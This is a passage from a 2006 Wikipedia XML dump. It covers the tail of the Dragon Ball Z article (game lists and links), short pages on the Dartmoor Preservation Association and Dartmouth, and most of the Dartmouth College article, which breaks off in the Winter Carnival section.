===Games released in Japan, America, Oceania and Europe===
====Sony: [[PlayStation]] (PS1)====
* ''[[Dragon Ball Z: Legends]]''
* ''[[Ultimate Battle 22|Dragon Ball Z: Ultimate Battle 22]]''
* ''[[Dragon Ball GT: Final Bout]]''

====Nintendo: [[Game Boy Color]] (GBC)====
* ''Dragon Ball Z: Legendary Super Warriors'' (''Dragon Ball Z: Densetsu no Chou Senshi-tachi'')
====Sony: [[PlayStation 2]] (PS2)====
* ''[[Dragon Ball Z: Budokai|Dragon Ball Z: Budōkai]]'' (''Dragon Ball Z'')
* ''[[Dragon Ball Z: Budokai 2|Dragon Ball Z: Budōkai 2]]'' (''Dragon Ball Z 2'')
* ''[[Dragon Ball Z: Budokai 3|Dragon Ball Z: Budōkai 3]]'' (''Dragon Ball Z 3'')
* ''[[Dragon Ball Z: Budokai Tenkaichi|Dragon Ball Z: Sparking!]]'' (''Dragon Ball Z: Budōkai Tenka-ichi)
* ''[[Dragon Ball Z: Sagas]]''

====Nintendo: [[Game Boy Advance]] (GBA)====
* ''[[Dragon Ball Z: The Legacy of Goku]]''
* ''[[Dragon Ball Z: The Legacy of Goku II]]'' (''Dragon Ball Z: Legacy of Gokū 2: International'')
* ''[[Dragon Ball Z: The Legacy of Goku I &amp; II]]''
* ''[[Dragon Ball Z: Taiketsu]]''
* ''Dragon Ball Z: Bukū Tōgeki'' (''Dragon Ball Z: Super Sonic Warriors'')
* ''[[Dragon Ball Z: Buu's Fury]]''

====Nintendo: [[Nintendo GameCube|GameCube]] (GC)====
* ''[[Dragon Ball Z: Budokai|Dragon Ball Z: Budōkai]]'' (''Dragon Ball Z'')
* ''[[Dragon Ball Z: Budokai 2]]'' (''Dragon Ball Z 2'')
* ''[[Dragon Ball Z: Sagas]]''

====Nintendo: [[Nintendo DS|DS]]====
* ''[[Dragon Ball Z: Super Sonic Warriors 2]]'' (''Dragon Ball Z: Bukū Ressen'')
* ''[[Jump Superstars]]''

===Games only released in Japan===
====Nintendo: Family Computer [[Famicom]] (FC)====
* ''Dragon Ball Z: Kyosho! Saiyan'' (1990)
* ''Dragon Ball Z 2: Gekishin Freeza!!'' 1991)
* ''Dragon Ball Z 3: Resen Jinzōningen'' (1992)
* ''Dragon Ball Z: Barcode Battler'' (1992)
* ''Dragon Ball Z Supplement: The Plan to Eradicate the Saiyans'' (1993)
====Nintendo: Super Family Computer [[Super Famicom]] (SFC)====
* ''Dragon Ball Z: Super Saiyan Legend'' (1992)
* ''Dragon Ball Z: Super Butoden'' (1993)
* ''Dragon Ball Z: Super Butoden 2'' (1993)
* ''Dragon Ball Z: Super Butoden 3'' (1994)
* ''Dragon Ball Z: Super Gokū Den'' (1995)
* ''Dragon Ball Z: Super Gokū Den 2'' (The last two thirds of the game) (1995)
* ''Dragon Ball Z: Hyper Dimension'' (1996)
====Sega: [[Sega Mega Drive|Mega Drive]]====
* ''Dragon Ball Z: Buyū Retsuden'' (1994)
====PC-Engine Duo====
* ''Dragon Ball Z: Idainaru Son Gokū Densetsu'' (Three out of the seven levels) (1994)
====Nintendo: [[Game Boy]] (GB)====
* ''Dragon Ball Z: Gokū Hishō Den'' (1994)
* ''Dragon Ball Z: Gokū Gekitō Den'' (1995)

====PlayDia====
* ''The Plan to Eradicate the Saiyans - Part 1''
* ''The Plan to Eradicate the Saiyans - Part 2''
====Sony: [[PlayStation]] (PS1)====
* ''Dragon Ball Z Legends''

====Sega: [[Sega Saturn|Saturn]]====
* ''Dragon Ball Z Legends''
* ''Dragon Ball Z: Shin Butoden''

===Games only released in America and Oceania===
* ''[[Dragon Ball Z: Collectible Card Game]]'' for the [[Game Boy Advance|GBA]]
* ''Dragon Ball Z: Sagas'' for the [[PlayStation 2|PS2]], [[Nintendo GameCube|GC]], and [[Xbox]].

==Trivia==

*Ironically, Goku, the actual hero, doesn't kill any of the three major villains in the story. Frieza is killed by Trunks; Cell is killed by Gohan; and Majin Buu literally becomes good in the end.

==See also==
* [[List of Dragon Ball Episodes]]
* [[List of Dragon Ball characters]]
* [[Freeza Family Tree]]
* [[Jinzō'ningen Family Tree]]
* [[Majin Family Tree]]
* [[Red Ribbon Army Family Tree]]
* [[Z Fighters]]
* [[CHA-LA HEAD-CHA-LA]] (The 1st opening theme song)
* [[WE GOTTA POWER]] (The 2nd opening theme song)
* [[Dragon Ball (franchise)]]

==External links==
* [http://www.dragonballz.com English Dragon Ball Z website]
* [http://www.ytv.com/programming/shows/dragonball_z/index.asp?showID=102 YTV Dragon Ball Z Site]
* [http://www.toei-anim.co.jp/tv/dragonz/ Toei Dragon Ball Z website]
* [http://intropage.bravehost.com/index.txt IntroPage / UltraWeb] (Internet Explorer Required)
* [http://www.daizex.com DaizenshuuEX]
* [http://www.zerogamez.com/ Zero Gamez] A Dragonball Z, GT Rpg Making Community
* [http://www.kanzentai.com Kanzentai]
* [http://gtaonline.info/Dragon-Ball Dragon Ball Polish]
* [http://www.z-rage.com/ Dragonball Series related website (English/Dutch)]

{{Dragon Ball Movies}}

{{DBZ Saga Nav}}

&lt;!-- Note: We should figure out a better way to divide these. We should use the Funimation names since those are how the US anime divides them officially. The problem is that it makes more sense to break them down differently. The &quot;Freeza&quot; saga logically extends through Namek-&gt;Gi'nyu-&gt;Freeza. Trunks through Cell Games is a second major arc. And Tournament through Majin-Boo is another. (I didn't add in the Funimation Buu sagas, &quot;Fat Buu&quot;, &quot;Evil Buu&quot;, etc. because I can't remember off the top of my head what order they came in...) --&gt;

&lt;!-- Note: in case anyone gets the desire to add info about the influence of Journey to the West or Superman on Dragon Ball Z, do the smart thing and note it under a Dragon Ball Manga wiki.  Dragon Ball Z is a subtopic to DB, and DB should be referenced for info like that.  Same thing about Toriyama--he's done enough stuff to get his own page. thx --&gt;

[[Category:1990s TV shows in the United States]]
[[Category:2000s TV shows in the United States]]
[[Category:Anime series]]
[[Category:Children's television series]]
[[Category:Dragon Ball|*]]
[[Category:Japanese television series]]
[[Category:programs broadcast by YTV]]
[[Category:Shows on Toonami]]

[[ca:Bola de Drac Z]]
[[de:Dragonball Z]]
[[es:Dragon Ball Z]]
[[fi:Dragonball Z]]
[[fr:Dragon Ball Z]]
[[it:Dragon Ball Z]]
[[ja:ドラゴンボールZ]]
[[nl:Dragonball Z]]
[[pt:Dragon Ball Z]]
[[zh:七龙珠]]</text>
    </revision>
  </page>
  <page>
    <title>Dartmoor Preservation Association</title>
    <id>8414</id>
    <revision>
      <id>35437519</id>
      <timestamp>2006-01-16T19:53:18Z</timestamp>
      <contributor>
        <username>Grenavitar</username>
        <id>142208</id>
      </contributor>
      <comment>{{org-stub}}</comment>
      <text xml:space="preserve">The '''[[Dartmoor]] Preservation Association''' or DPA was founded in [[1883]]. Their web-site is to be found at http://www.dartmoor-preservation-assoc.org.uk, where a full list of their objectives are to be found, however the DPA is generally a special interest group with a passion for preserving the beauty of Dartmoor.

[[Category:Dartmoor]]

{{org-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Dartmouth</title>
    <id>8416</id>
    <revision>
      <id>40360876</id>
      <timestamp>2006-02-20T01:30:13Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>US -&gt; U.S. per MoS</comment>
      <text xml:space="preserve">'''Dartmouth''' may mean:
Places:
*[[Dartmouth, Devon]], England
*[[Dartmouth, Victoria]] in Australia
*[[Dartmouth, Nova Scotia]], Canada
*[[Dartmouth, Kansas]], U.S.
*[[Dartmouth, Massachusetts]], U.S.

Educational establishments:
*[[Dartmouth College]], in Hanover, New Hampshire, U.S.
**''[[The Dartmouth]]'', student newspaper at [[Dartmouth College]]
*[[Britannia Royal Naval College]] in Dartmouth, Devon, England
*[[University of Massachusetts Dartmouth]], in Dartmouth, Massachusetts, U.S.

Other:
*[[Dartmouth Dam]], Australia

{{disambig}}

[[ang:Dærentamūða]]</text>
    </revision>
  </page>
  <page>
    <title>Dartmouth College</title>
    <id>8418</id>
    <revision>
      <id>42086336</id>
      <timestamp>2006-03-03T19:05:52Z</timestamp>
      <contributor>
        <ip>66.93.106.194</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses3|Dartmouth}}
{{Infobox_University 
|image          = [[Image:Dartmouth_Shield.png|160px|center|Dartmouth College Shield]] 
|name           = Dartmouth College
|motto          = Vox clamantis in deserto&lt;br /&gt;(''The voice of one crying out in the wilderness'') 
|established    = [[December 13]] [[1769]] 
|type           = [[Private school|Private]] 
|president= [[James Wright (historian) |James E. Wright '64A]] [[MA]] [[Ph.D]] [[M.Sc]] [[B.Sc]] 
|city           = [[Hanover, New Hampshire|Hanover]] 
|state          = [[New Hampshire|NH]] 
|country        = [[United States|USA]] 
|undergrad      = 4,078 
|postgrad       = 1,666 
|staff= 591 
|campus         = [[Rural]] town, 265 [[acre]]s (1.1 [[kilometre|km]]&amp;sup2;) -- over 31,000 [[acre]]s total 
|nickname         = [[Big Green]] (unofficial)
|free_label     = Athletics 
|free           = 34 varsity teams 
|website= [http://www.dartmouth.edu/ www.dartmouth.edu] 
|mascot         = The Indian, [[Keggy the Keg]], the Big Green (all unofficial) 
|endowment= $2.7 billion
|school colors  = Dartmouth green (PMS 349) and white
}}
'''Dartmouth College''' is a [[private school|private]] academic institution in [[Hanover, New Hampshire|Hanover]], [[New Hampshire]], in the [[United States]]. It is a member of the [[Ivy League]] and is one of the nine colonial colleges founded before the [[American Revolution]]. Founded in [[1769]] by [[Eleazar Wheelock]], with funds partially raised by the efforts of a Native American preacher named [[Samson Occom]], it is the [[Colonial colleges|ninth-oldest college]] in the [[United States]]. In addition to its [[liberal arts college|liberal arts]] undergraduate program, Dartmouth has medical, engineering, and business schools, as well as 18 graduate programs in the arts and sciences; hence it would tend to be called a [[university]] in standard American usage. For the sake of tradition- in part stemming from the legacy of the landmark Dartmouth College case- and in order to emphasize the central importance it gives to undergraduate education, however, it refers to itself as a [[college]]. With a total enrollment of 5,744, Dartmouth is the smallest school in the Ivy League. 

In 2005 [[Booz Allen Hamilton]] selected Dartmouth College as one of the &quot;World's Ten Most Enduring Institutions,&quot; recognizing its ability to overcome crises that threatened its survival (most famously ''[[Dartmouth College v. Woodward|Trustees of Dartmouth College v. Woodward]]'').[http://www.bah.com/bahng/SilverDemo?PID=Home.html&amp;contType=TABLE&amp;dispType=HTML&amp;Region=&amp;Geography=&amp;Taxonomy1=&amp;Taxonomy2=&amp;Taxonomy3=&amp;SortBy=creation+date+DESC,title+ASC&amp;GroupBy=-1&amp;FORM_ACTION=FOCUS&amp;style=item&amp;ITID=451148] Dartmouth alumni are famously involved in their college, from [[Daniel Webster]] to the many donors in the 19th and 20th centuries. Over many generations, Dartmouth has had one of the highest alumni donor participation rates.

==History==
[[Image:Dartmouth College Baker building.jpg|thumb|right|275px|[[Baker Memorial Library]] at Dartmouth College]]
Dartmouth was made the ninth and final [[colonial college]] when it was given a [[royal charter]] by [[George III of the United Kingdom|King George III]] in [[1769]], mostly as a result of the efforts of [[Eleazar Wheelock]], a [[Puritan]] minister, and his patron, Royal Governor [[John Wentworth (Lieutenant-Governor)|John Wentworth]].  

Dartmouth's original purpose was to provide for the Christianization, instruction, and education of &quot;Youth of the Indian Tribes in this Land...and also of English Youth and any others.&quot; Ministers [[Nathaniel Whittaker]] and [[Samson Occom]] (an early Native American clergyman) raised funds for the college in England through an English trust among whose benefactors and trustees were prominent English statemen, including King George III's [[Secretary of State for the Colonies]] in North America, [[William Legge, 2nd Earl of Dartmouth]], for whom Dartmouth College is named. The fundraising was meant to support Wheelock's ongoing [[Connecticut]] institution of the 1740s, Moor's Indian Charity School (chartered 1754), but Wheelock instead applied the funds to the establishment of Dartmouth College, the ninth and last [[colonial colleges|colonial college]].  Classes began in 1770 and the College granted its first degrees in 1771.  Dejected and betrayed, [[Samson Occom]] went on to form his own community of New England Indians called [[Brothertown]] in Oneida country in upstate New York.

[[Image:Smdartmouth-case.gif |left|frame|Painting by Robert Clayton Burns (1962) depicting Daniel Webster and the ''Dartmouth College Case'']]
In [[1819]], Dartmouth College was the subject of the historic [[Dartmouth College case]], in which the State of [[New Hampshire]] attempted to amend the College's royal charter to make the school a public university.  An institution called Dartmouth University occupied the college buildings and began operating in Hanover, though the College continued teaching classes in rented rooms nearby. [[Daniel Webster]], an [[alumnus]] of the class of [[1801]], presented the College's case to the [[United States Supreme Court]], which found the amendment of Dartmouth's charter to be an illegal impairment of a contract by the state and prevented New Hampshire from taking over the college. Webster concluded his peroration with the words,
: ''It is, Sir, as I have said, a small college. And yet there are those who love it.''

Dartmouth was a men's college until [[1972]], when women were first admitted as full-time students and undergraduate degree candidates.  At about the same time, Dartmouth adopted its unique &quot;D-Plan&quot;, a schedule of year-round operation that allowed an increase in the enrollment (with the addition of females) without enlarging campus accommodations. The year is divided into four terms corresponding with the [[seasons]]; students are required to be in residence during the summer after their sophomore year. One wag described it as a way to put 4,000 students into 3,000 beds. Although new dormitories have been built since, the number of students has also increased and the D-Plan remains in effect.

Dartmouth's motto is ''Vox Clamantis in Deserto'', &quot;The voice of one crying out in the wilderness&quot; (a reference to [[John the Baptist]] as well as to the college's location on what was once the frontier of European settlement). Richard Hovey's ''[[Men of Dartmouth]]'' was elected as the best of all the songs of the College in [[1896]], and today it serves as the school's alma mater, although the lyrics and title have since been changed to be gender-neutral.  

The screenplay for the [[film]] ''[[Animal House]]'' was cowritten by Chris Miller (B.A. 1963) and is based loosely on a series of  fictional stories he wrote in [[1974]] about his fraternity days at Dartmouth, including &quot;The Night of the Seven Fires.&quot; In a CNN interview, [[John Landis]] said the movie was &quot;based on Chris Miller's real fraternity at Dartmouth,&quot; [[Alpha Delta]]. In an interview with ''The Dartmouth,'' Miller said that at least one incident in the film&amp;mdash;one in which a Delta Tau Chi brother skis down the stairs as the band plays &quot;Shout&quot;&amp;mdash;occurred at an [[Alpha Delta |Alpha Delt]] party at Dartmouth. The names &quot;Otter&quot; and &quot;Pinto&quot; may be found in the Alpha Delta section of the yearbooks of the period, such as the 1963 &lt;EM&gt;Aegis&lt;/EM&gt;.  The movie was filmed at the [[University of Oregon]].  

[[Image:Dartmouth-hall.jpg|thumb|350px|Dartmouth Hall, as of 2005.]]
In January, [[2001]], two Dartmouth professors, Half Zantop (b. [[January 24]], [[1938]])
and Suzanne Zantop (b. [[August 12]], [[1945]]), were found stabbed to death in their [[Etna, New Hampshire]] home. After an intense nationwide manhunt, two teenagers from [[Chelsea, Vermont]], Robert Tulloch and James Parker, were arrested in [[New Castle, Indiana]] and extradited back to New Hampshire. Both defendants eventually pled guilty to murder charges and were sentenced to life imprisonment.

=== Presidents of Dartmouth College (the Wheelock Succession) ===
{|
| &amp;bull;&amp;nbsp; [[Eleazar Wheelock|Rev. Eleazar Wheelock]] || ([[1769]]&amp;ndash;[[1779]])
|-
| &amp;bull;&amp;nbsp; [[John Wheelock]], [[1771]] || ([[1779]]&amp;ndash;[[1815]])
|-
| &amp;bull;&amp;nbsp; [[Francis Brown|Rev. Francis Brown]], [[1805]] || ([[1815]]&amp;ndash;[[1820]])
|-
| &amp;bull;&amp;nbsp; [[Daniel Dana|Rev. Daniel Dana]], [[1788]] || ([[1820]]&amp;ndash;[[1850]])
|-
| &amp;bull;&amp;nbsp; [[Bennett Tyler|Rev. Bennett Tyler]] || ([[1822]]&amp;ndash;[[1828]])
|-
| &amp;bull;&amp;nbsp; [[Nathan Lord|Rev. Nathan Lord]] || ([[1828]]&amp;ndash;[[1863]])
|-
| &amp;bull;&amp;nbsp; [[Asa Dodge Smith|Rev. Asa Dodge Smith]], [[1830]] || ([[1863]]&amp;ndash;[[1877]])
|-
| &amp;bull;&amp;nbsp; [[Samuel Colcord Bartlett|Rev. Samuel Colcord Bartlett]], [[1836]] || ([[1877]]&amp;ndash;[[1892]])
|-
| &amp;bull;&amp;nbsp; [[William Jewett Tucker|Rev. William Jewett Tucker]], [[1861]] &amp;nbsp; || ([[1893]]&amp;ndash;[[1909]])
|-
| &amp;bull;&amp;nbsp; [[Ernest Fox Nichols]] || ([[1909]]&amp;ndash;[[1916]])
|-
| &amp;bull;&amp;nbsp; [[Ernest Martin Hopkins]], [[1901]] || ([[1916]]&amp;ndash;[[1945]])
|-
| &amp;bull;&amp;nbsp; [[John Sloan Dickey]], [[1929]] || ([[1945]]&amp;ndash;[[1970]])
|-
| &amp;bull;&amp;nbsp; [[John G. Kemeny|John George Kemeny]] || ([[1970]]&amp;ndash;[[1981]])
|-
| &amp;bull;&amp;nbsp; [[David T. McLaughlin|David Thomas McLaughlin]], [[1954]] &amp; Tuck [[1955]] || ([[1981]]&amp;ndash;[[1987]])
|-
| &amp;bull;&amp;nbsp; [[James O. Freedman|James Oliver Freedman]] || ([[1987]]&amp;ndash;[[1998]])
|-
| &amp;bull;&amp;nbsp; [[James Wright (historian)|James E. Wright]] || ([[1998]]&amp;ndash;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;)
|}

==Academics==
[[Image:Dartmouth College - Dartmouth Hall circa 1834.jpg|thumb|350px|Lithograph of Wentworth Hall, Dartmouth Hall, and Thornton Hall, circa 1834.]]	
The centerpiece of today's Dartmouth College is its undergraduate college of 4,078 students, constituting one of the most selective undergraduate institutions in the world.  For the Class of 2009, 12,756 students applied for a little over 1,000 places in the class, and only 16.9% of applicants were admitted.  The median SAT score of enrolled students in the freshman class is 1470, of whom 87% were in the top ten percent of their high school class.  Alongside the undergraduate college lie a small graduate school and three professional institutes, [[Dartmouth Medical School]] ([[1797]]), [[Thayer School of Engineering]] ([[1867]]), and [[Tuck School of Business|Amos Tuck School of Business Administration]] ([[1900]]). With these graduate programs, conventional American usage would accord Dartmouth the label of &quot;university&quot;; but for historical and nostalgic reasons (such as the [[Dartmouth College case]]) the school uses &quot;Dartmouth ''College''&quot; for the entire institution.

===Board of Trustees===
Dartmouth is governed by a Board of Trustees.  The board includes the college President, the state Governor (ex officio), eight trustees elected by the board itself (Charter Trustees), and eight trustees nominated for board appointment by members of the Association of Alumni of Dartmouth College (Alumni Trustees), a body created in 1854 that represents over 60,000 alumni. (Specifically, trustee candidates may be nominated by an alumni council or by alumni petition, then an election is held, and finally the winner is, by longstanding agreement, appointed to the board by all Trustees. Three recent petition candidates have become Trustees in this manner.)

==Facilities==
===Hopkins Center for the Arts===
{{main|Hopkins Center for the Arts}}
The [http://hop.dartmouth.edu/ Hopkins Center] (&quot;the Hop&quot;) houses the college's drama, music, film, and studio arts departments, as well as a woodshop, pottery studio, and jewelry studio which are open for use by students and the public. The building was designed by the famed architect [[Wallace Harrison]], and its front façade is similar to that of [[City of New York|Manhattan&amp;rsquo;s]] [[Lincoln Center]], a later design by Harrison. Facilities include two recital halls and one large auditorium. It is also the location of all student mailboxes and the Courtyard Café dining facility. The Hop is connected to the Hood Museum of Art and the Loew Auditorium, where films are shown. The Hopkins Center is an important New Hampshire performance venue.

===Nelson A. Rockefeller Center for Public Policy and the Social Sciences===
The Nelson A. Rockefeller Center is a center for interaction and discussion on public policy.  Dedicated in [[1983]], the center stands in tribute to [[Nelson A. Rockefeller]] (Class of 1930).  Known on campus as '''Rocky,''' the Center provides students, faculty and community-members opportunities to discuss and learn about public policy, law, and politics.  Sponsoring lunch and dinner discussions with prominent faculty and visitors, the Center aides provides close interaction and discussion.  

The Rockefeller Center has established a Public-Policy Minor at Dartmouth College and an exchange program on political economy with Oxford University (Keble College).  In addition, the Center provides grants to students engaged in public-policy research and/or activities.

The Rockefeller Center's Policy Research Shop is an innovative program that provides research upon the request of elected policy makers and their legislative staff throughout the year. The Center hires students to work under the direction of faculty members, who then produce reports that are typically between 5-15 pages long. The intent is to produce useful information in a timely fashion so that the information can be used in legislative deliberations.

===The John Sloan Dickey Center for International Understanding===
The John Sloan Dickey Center for International Understanding was established in 1982 to honor Dartmouth's twelfth president (1945-70), [[John Sloan Dickey]]. The purpose of the Dickey Center is to &quot;coordinate, sustain, and enrich the international dimension of liberal arts education at Dartmouth.&quot; To this end, the Dickey Center is committed to helping Dartmouth students prepare for a world in which local, national and global concerns are more strongly linked than ever. It strives to promote quality scholarly research at Dartmouth concerning international problems and issues, with an emphasis on work that is innovative and cross-disciplinary. And it seeks to heighten public awareness and to stimulate debate on pressing international issues. The Dickey Center also hosts several student-run organizations, such as the Dartmouth World Affairs Council (WAC) or the War &amp; Peace Fellows, which foster undergraduates' awareness of international affairs.

===Aquatic facilities===
[[Dartmouth College Alumni Gymnasium | Alumni Gym]] hosts two pools, the Karl Michael Competition Pool and the Spaulding Pool.  Together they comprise a total of fifteen 25-yard lanes and two 50-meter lanes. The Karl Michael Pool, constructed in [[1962]], was designed  by former [[Dartmouth College Men's Varsity Swim Team]] captain R. Jackson Smith, class of [[1936]].  In 1970, it was formally named the Karl Michael Pool, after the coach of the men's varsity swim team from 1939-1970. The pool features eleven 25-yard lanes, with a special bulkhead that can be lowered to create two 50 meter lanes.   The pool area has a seating area for 1,200 spectators.  The Michael Pool hosted the 1968 Men's [http://www.ncaa.org/ NCAA] Championships, in which several American records were set.  The pool also features one and three meter diving boards, with a water well 12 to 14 feet deep.  

Adjacent is the Spaulding Pool.  Spaulding Pool is a 10 by 25 yard pool constructed during 1919 and 1920 and designed by [[Rich &amp; Mathesius, Architects]]. The Spaulding Pool is one of the oldest continuously operating pools in the [[United States]].  The pool's interior walls feature original encaustic tiles apparently designed by noted ceramist Leon Victor Solon.  The pool has seating for several hundred spectators.  Both pools are currently used by the Men's and Women's Varsity Swim Teams, as well as a host of other programs within the college.

===Housing clusters===
{{main|Dartmouth College residential communities}}
As opposed to ungrouped dormitories or [[residential colleges]] as employed at such institutions as [[Yale University|Yale]] and [[Harvard University|Harvard]], Dartmouth uses &quot;housing clusters.&quot; Housing clusters are groups of two to four dormitories (although some single-dorm clusters exist) that are located near one another.

==Athletics==
[[As of 2004]], Dartmouth College hosts 34 varsity sports: sixteen for men, sixteen for women, and coeducational sailing and equestrian programs. This place it among the top [[United States]] colleges and universities in this regard.  In addition, there are twenty-three club sports and twenty-four intramural sports.  

===Nickname, Symbol and Mascot===
Since the 1920s, the Dartmouth College athletic teams have known by the unofficial nicknames &quot;The Green&quot; or &quot;The Big Green.&quot;  The nickname is based on students' adoption of a shade of forest green (called &quot;Dartmouth green&quot;) as the school's official color in 1866.  At the same time, teams also were known as the &quot;[[Native Americans in the United States|Indian]]s,&quot; and athletic uniforms eventually bore a representation of an Indian warrior's head.  That representation and similar images called collectively &quot;the Indian Symbol,&quot; as well as the practice of a cheerleader dressing in Indian costume to serve as a mascot during games, came under criticism; during the early 1970s the Trustees declared the &quot;use of the (Indian) symbol in any form to be inconsistent with present institutional and academic objectives of the College in advancing Native American education.&quot;  The Indian symbol continues to be used in an unofficial capacity by some students and alumni.  

Various student initiatives have been undertaken to adopt a new mascot, but none has garnered sufficient support from students or alumni to become &quot;official.&quot; One proposal devised by the college humor magazine, the ''[[Dartmouth Jack O'Lantern|Jack-O-Lantern]]'', was &quot;[[Keggy the Keg]]&quot;, an [[anthropomorphic]] beer keg who makes occasional appearances at college sporting events, but has only received approval by the student government.

===Varsity teams===
{{main|Dartmouth College athletic teams}}

[http://athletics.dartmouth.edu/ Dartmouth's varsity athletic teams] compete in [http://www.ncaa.org/ NCAA] Division 1 as well as in the eight-member [[Ivy League]] conference, which includes [http://www.harvard.edu/ Harvard], [http://www.princeton.edu/ Princeton], [http://www.yale.edu/ Yale], [http://www.brown.edu/ Brown], [http://www.columbia.edu/ Columbia], [http://www.cornell.edu Cornell] and the [http://www.upenn.edu/ University of Pennsylvania].  Some teams also participate in the [http://www.ecac.org/index ECAC] (Eastern Collegiate Athletic Conference). Dartmouth athletics have earned several high honors, excelling in NCAA championships ranging from track and field to basketball, cross country to soccer, as well as skiing, golf, lacrosse and diving.

As is true of all Ivy League schools, Dartmouth College does not offer athletic scholarships, yet is home to many student athletes.  Currently many as three-quarters of Dartmouth undergraduates participate in some form of athletics, and one-quarter of Dartmouth students play a varsity sport at some point during their undergraduate years.  The actual numbers of varsity athletes and varsity sports are thus much larger than at schools ten times Dartmouth's size.

In addition to official varsity sports, Dartmouth students participate in several club teams, such as those for [[rugby football|rugby]], [[water polo]], and [[ultimate frisbee]]. These teams generally perform quite well and participate in many regional and national competitions.

===Venues===
Dartmouth hosts many athletic venues.  [[Dartmouth College Alumni Gymnasium]], the center of athletic life at Dartmouth, is home of the Dartmouth College Aquatic facilities, basketball courts, squash and racket ball courts, indoor track, fencing lanes as well as a rowing training center.  The college also maintains both indoor and outdoor track facilities, hockey arena, football stadium, rowing boat house, and tennis complex.   

Dartmouth's original sports field is the Green, where students played [[cricket]] during the late eighteenth century and [[Old Division Football]] during the 1800s; some intramural games still take place there.

Current venues include [[Memorial Field (Dartmouth)|Memorial Field]], [[Leede Arena]], and [[Thompson Arena]].

==Student life==
===Student groups===
{{main|Dartmouth College student groups}}
Dartmouth hosts a large number of student groups, covering a wide range of interests.  Literary publications include: ''[[The Dartmouth]]'' (the nation's oldest daily college paper),   the ''[[Dartmouth Jack O'Lantern]]'' (humor magazine), ''[[The Dartmouth Review]]'' (off-campus conservative newspaper), the ''[[Dartmouth Free Press]]'' (liberal/progressive newspaper), and the ''[[Dartmouth Independent]]'' (moderate online newspaper). 

[[As of 2005]] student musical groups include: the Barbary Coast Jazz Ensemble, the Dartmouth Glee Club, the Christian acapella group [http://www.dartmouth.edu/~xado X.Ado], the Dartmouth Chamber Singers, the  [http://www.dartmouthaires.com Dartmouth Aires], the Dartmouth Final Cut,  the [http://www.dartmouth.edu/~cords/ Dartmouth Cords], the [http://www.dartmouth.edu/~subtlety/ Dartmouth Subtleties], the Dartmouth Dodecaphonics, the Dartmouth Gospel Choir, the Handel Society of Dartmouth College, the [[Dartmouth College Marching Band]], the Dartmouth Rockapellas, the Dartmouth Symphony Orchestra, the Dartmouth Chamber Orchestra, the Dartmouth Wind Symphony, the Dartmouth Brass Society, and the World Music Percussion Ensemble.

===Greek Life===
{{main|Dartmouth College Greek organizations}}

Dartmouth College is host to many [[Greek organizations]] and a large percentage of the [[undergraduate]] student body is active in Greek life.  In 2000, nearly half of the undergraduate student body belonged to a [[fraternity]], [[sorority]], or [[coeducational]] Greek house.  First year students are not allowed to join Greek organizations, however, so the actual fraction of Dartmouth students that become active in Greek life during their studies at the College exceeds half of the student body.  Dartmouth College was among the first institutions of higher education to [[desegregate]] fraternity houses in the 1950s, and was involved in the movement to create [[coeducational]] Greek houses in the 1970s.  In the early 2000s, campus-wide debate focused on whether or not the Greek system at Dartmouth should become &quot;substantially coeducational,&quot; but most houses retain single-sex membership policies.

===Technology===
Technology plays an important role in student life, as Dartmouth is perenially ranked as one of the most technologically-advanced American colleges (as in ''[[Newsweek]]'s'' ranking of [http://www.msnbc.msn.com/id/5626574/site/newsweek/ &quot;Hottest for the Tech-Savvy&quot;]). '''[[BlitzMail]]''', the campus [[e-mail]] network, plays a tremendous role in social life, as students tend to use it for communication in lieu of [[cellular phones]] or [[instant messenging]] programs. The complete campus, indoors and out, is serviced by [[Wi-Fi|wireless Internet]], and all students are required to own a personal computer.

Student reliance on BlitzMail (known colloquially as &quot;Blitz,&quot; which functions as both noun and verb) has led to computer terminals being installed all around campus, so that students can check their e-mail in between classes or while away from their rooms. Dartmouth has more than 12,000 computers available for use on campus. [http://www.dartmouth.edu/learnmore/school.html]

===Freshman Trips===
Established in [[1935]] to promote interest in the [[Dartmouth Outing Club]], the tradition of freshman outing trips is among the largest pre-orientation programs in the country, involving upwards of 95 percent of students in each incoming class. The Trips evolved steadily since their inception, becoming steadily more popular and intricate. During the 1960s, under the support of Dartmouth President [[John Sloan Dickey]], the College renovated the [[Moosilauke Ravine Lodge]], made the Lodge the final destination for all Trips, and brought participation up to two-thirds of the incoming class. 

Today, the Trips take place in the two weeks prior to the standard orientation week, and involve a three-night, four-day trip of [[hiking]], [[cycling]], [[kayaking]], or even nature [[photography]], culminating in a tradition-filled night spent at the College-owned Moosilauke Ravine Lodge. Run almost entirely by current students, these trips feature crews on campus and at the Lodge who, dressed in eccentric clothing, teach many of the traditional College dances, songs, and legends. Around eight incoming students are led by two current students on their trip. Students frequently claim that once their Freshman Trip is over, the Dartmouth spirit has become so engrained in them that the College is part of their blood. As a result, up to one-third of the eligible current students apply to either lead trips or to serve on the Hanover or Lodge crews.

===Winter Carnival===
[[Image:2004_Winter_Carnival_Sculpture.JPG|thumb|200px|Snow Sculpture at the 2004 Dartmouth Winter Carnival.]]
Winter Carnival is a long-standing tradition at Dartmouth College that was particularly famous during the 1920s, 1930s, and 1940s.


The [[Dartmouth Outing Club]], founded in [[1909]], organized a winter weekend &quot;field day&quot; in [[1910]]. This was an athletic event centered on skiing, a sport which the Outing Club helped to pioneer and publicize on a national scale. In [[1911]] the event was named Winter Carnival, social events were added, and women were invited to attend. By [[1919]] the emphasis had shifted to dances organized by fraternities. Special trains made runs to transport women guests to Dartmouth, and National Geographic Magazine referred to it as &quot;the Mardi Gras of the North.&quot; The event became famous, much as Spring Break in Fort Lauderdale was to be during the 1950s and 1960s.  

Carnival was the subject of the frothy [[1939]] motion picture comedy ''Winter Carnival,'' starring [[Ann Sheridan]], who plays a former Winter Carnival Queen of the Snows who has made a bad marriage to a European duke and revisits Dartmouth in an attempt to save her younger sister, the current Queen, from repeating her mistake with a European count.

The movie is remembered mostly for its extracinematic associations; [[F. Scott Fitzgerald]] and Dartmouth alumnus [[Budd Schulberg]] were hired to write the screenplay. While gathering background in Hanover during Carnival, Fitzgerald became scandalously drunk at fraternities and was forced to leave the project. Although portions of his work were used, he was not given a writer's credit. The events and personalities bear a resemblance to those recounted in Schulberg's novel, ''The Disenchanted.'' 

